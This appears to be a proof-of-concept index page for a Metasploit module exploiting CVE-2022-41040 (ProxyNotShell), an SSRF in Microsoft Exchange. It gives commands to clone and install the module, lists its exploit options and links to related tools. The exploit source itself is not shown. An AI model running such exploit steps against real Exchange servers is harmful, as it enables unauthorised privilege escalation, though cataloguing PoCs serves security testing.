CVE-2022-41040 PoC — Microsoft Exchange Server Elevation of Privilege Vulnerability

Source

Associated Vulnerability

Description

the metasploit script(POC) about CVE-2022-41040. Microsoft Exchange are vulnerable to a server-side request forgery (SSRF) attack. An authenticated attacker can use the vulnerability to elevate privileges.

Readme

# CVE-2022-41040-metasploit-ProxyNotShell
the metasploit script(POC) about CVE-2022-41040. Microsoft Exchange are vulnerable to a server-side request forgery (SSRF) attack. An authenticated attacker can use the vulnerability to elevate privileges.

# preparation POC
```cmd
git clone https://github.com/TaroballzChen/CVE-2022-41040-metasploit-ProxyNotShell
cd CVE-2022-41040-metasploit-ProxyNotShell
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp microsoft_exchange_server_proxynotshell_ssrf.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/microsoft_exchange_server_proxynotshell_ssrf.py
msfconsole
```

# POC usage
```text
set rhosts <vuln ip/host>
set rport <vuln port>
set rssl <default: true for https>
exploit
```

# result
![poc](poc.png)

# reference
- https://www.kb.cert.org/vuls/id/915563
- https://github.com/Vulnmachines/proxynotshell-checker
- https://github.com/kljunowsky/CVE-2022-41040-POC
- https://github.com/zan8in/afrog
- https://github.com/Ph33rr/Exploit

File Snapshot

 [4.0K]  /data/pocs/a3e6aa5f19ba004e4b5ad8c50feb0d5495f61eb2
├── [10.0K]  microsoft_exchange_server_proxynotshell_ssrf.py
├── [356K]  poc.png
└── [1022]  README.md

0 directories, 3 files

Remarks